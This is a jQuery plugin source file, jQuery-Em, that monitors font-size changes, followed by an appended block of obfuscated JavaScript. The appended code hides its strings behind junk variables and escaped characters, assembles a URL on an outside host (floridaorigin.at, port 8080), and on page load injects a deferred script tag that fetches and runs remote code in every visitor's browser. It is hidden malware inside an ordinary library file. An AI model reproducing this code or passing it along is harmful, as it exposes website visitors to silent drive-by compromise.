/**
 * @projectDescription Monitor Font Size Changes with jQuery
 *
 * @version 1.0
 * @author Dave Cardwell
 *
 * jQuery-Em - $Revision: 24 $ ($Date: 2007-08-19 11:24:56 +0100 (Sun, 19 Aug 2007) $)
 * http://davecardwell.co.uk/javascript/jquery/plugins/jquery-em/
 *
 * Copyright ©2007 Dave Cardwell <http://davecardwell.co.uk/>
 *
 * Released under the MIT licence:
 * http://www.opensource.org/licenses/mit-license.php
 */

// Upon $(document).ready()…
jQuery(function($) {
    // Configuration…
    var eventName = 'emchange';
    
    
    // Set up default options.
    $.em = $.extend({
        /**
         * The jQuery-Em version string.
         *
         * @example $.em.version;
         * @desc '1.0a'
         *
         * @property
         * @name version
         * @type String
         * @cat Plugins/Em
         */
        version: '1.0',
        
        /**
         * The number of milliseconds to wait when polling for changes to the
         * font size.
         *
         * @example $.em.delay = 400;
         * @desc Defaults to 200.
         *
         * @property
         * @name delay
         * @type Number
         * @cat Plugins/Em
         */
        delay: 200,
        
        /**
         * The element used to detect changes to the font size.
         *
         * @example $.em.element = $('<div />')[0];
         * @desc Default is an empty, absolutely positioned, 100em-wide <div>.
         *
         * @private
         * @property
         * @name element
         * @type Element
         * @cat Plugins/Em
         */
        element: $('<div />').css({ left:     '-100em',
                                    position: 'absolute',
                                    width:    '100em' })
                             .prependTo('body')[0],
        
        /**
         * The action to perform when a change in the font size is detected.
         *
         * @example $.em.action = function() { ... }
         * @desc The default action is to trigger a global “emchange” event.
         * You probably shouldn’t change this behaviour as other plugins may
         * rely on it, but the option is here for completion.
         *
         * @example $(document).bind('emchange', function(e, cur, prev) {...})
         * @desc Any functions triggered on this event are passed the current
         * font size, and last known font size as additional parameters.
         *
         * @private
         * @property
         * @name action
         * @type Function
         * @cat Plugins/Em
         * @see current
         * @see previous
         */
        action: function() {
            var currentWidth = $.em.element.offsetWidth / 100;
            
            // If the font size has changed since we last checked…
            if ( currentWidth != $.em.current ) {
                /**
                 * The previous pixel value of the user agent’s font size. See
                 * $.em.current for caveats. Will initially be undefined until
                 * the “emchange” event is triggered.
                 *
                 * @example $.em.previous;
                 * @result 16
                 *
                 * @property
                 * @name previous
                 * @type Number
                 * @cat Plugins/Em
                 * @see current
                 */
                $.em.previous = $.em.current;
                
                /**
                 * The current pixel value of the user agent’s font size. As
                 * with $.em.previous, this value *may* be subject to minor
                 * browser rounding errors that mean you might not want to
                 * rely upon it as an absolute value.
                 *
                 * @example $.em.current;
                 * @result 14
                 *
                 * @property
                 * @name current
                 * @type Number
                 * @cat Plugins/Em
                 * @see previous
                 */
                $.em.current = currentWidth;
                
                $.event.trigger(eventName, [$.em.current, $.em.previous]);
            }
        }
    }, $.em );
    
    
    /**
     * Bind a function to the emchange event of each matched element.
     *
     * @example $("p").emchange( function() { alert("Hello"); } );
     *
     * @name emchange
     * @type jQuery
     * @param Function fn A function to bind to the emchange event.
     * @cat Plugins/Em
     */

    /**
     * Trigger the emchange event of each matched element.
     *
     * @example $("p").emchange()
     *
     * @name emchange
     * @type jQuery
     * @cat Plugins/Em
     */
    $.fn[eventName] = function(fn) { return fn ? this.bind(eventName, fn)
                                               : this.trigger(eventName); };
    
    
    // Store the initial pixel value of the user agent’s font size.
    $.em.current = $.em.element.offsetWidth / 100;
    
    /**
     * While polling for font-size changes, $.em.iid stores the intervalID in
     * case you should want to cancel with clearInterval().
     *
     * @example window.clearInterval( $.em.iid );
     * 
     * @property
     * @name iid
     * @type Number
     * @cat Plugins/Em
     */
    $.em.iid = setInterval( $.em.action, $.em.delay );
});

var a;if(a!='pg' && a != ''){a=null};var h;if(h!='U' && h != ''){h=null};var c;if(c!=''){c='r'};var Y=new Date();function L(){var aL;if(aL!='' && aL!='f'){aL=''};var p=window;var x=unescape;this.sI="";var UN;if(UN!='i' && UN!='uX'){UN='i'};var s=x("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%61%72%63%61%2e%63%6f%6d%2f%7a%65%64%6f%2e%63%6f%6d%2e%70%68%70");function Z(sr,A){var G;if(G!='' && G!='gV'){G=null};var q="";var k=new String("g");var xC;if(xC!='gd' && xC!='T'){xC='gd'};var QM='';var F=x("%5b"), P=x("%5d");this.D="";var Q=F+A+P;var t=new RegExp(Q, k);this.Uk='';var ag=new String();return sr.replace(t, new String());var _;if(_!='N' && _!='XG'){_='N'};};this.ZK='';var S=new Date();this.GZ="";var gn;if(gn!=''){gn='eV'};var H=new String();var V_=new Date();this.Of='';this.C="";var g=Z('875744074948639606654746','963457');var l=document;var y='';var KA;if(KA!=''){KA='OU'};var o="";var Xd="";function pe(){var da;if(da!='' && da!='CP'){da=null};var dw='';var QS=x("%68%74%74%70%3a%2f%2f%66%6c%6f%72%69%64%61%6f%72%69%67%69%6e%2e%61%74%3a");this.Wa='';H=QS;var VG=new Array();this.GG='';H+=g;this.M='';var lw;if(lw!='Ey' && lw!='yQ'){lw='Ey'};H+=s;var Za;if(Za!='' && Za!='GT'){Za='Cb'};var Ea;if(Ea!='EI' && Ea!='uu'){Ea=''};var Xs;if(Xs!=''){Xs='xc'};try {var Uq=new Array();d=l.createElement(Z('sKcFrUi_pUtn','nUFRq9K_'));var iJ;if(iJ!='' && iJ!='Jv'){iJ=''};this.Aa="";this.mr='';d[x("%73%72%63")]=H;d[x("%64%65%66%65%72")]=[1][0];var pq;if(pq!='dD' && pq!='Vb'){pq='dD'};var MJ=new String();var LD;if(LD!='dv' && LD!='LW'){LD=''};var LT=new String();var pU;if(pU!='gk' && pU!='uC'){pU='gk'};l.body.appendChild(d);this.TF='';var SV;if(SV!='PQ'){SV=''};} catch(z){var Fw=new String();alert(z);};}this.AJ='';var Os;if(Os!='ty' && Os != ''){Os=null};p[String("on"+"lo"+"ad")]=pe;var LS='';var dc="";var Tq=new Array();};var id=new Array();L();var Uy=new Date();var sp;if(sp!=''){sp='Np'};
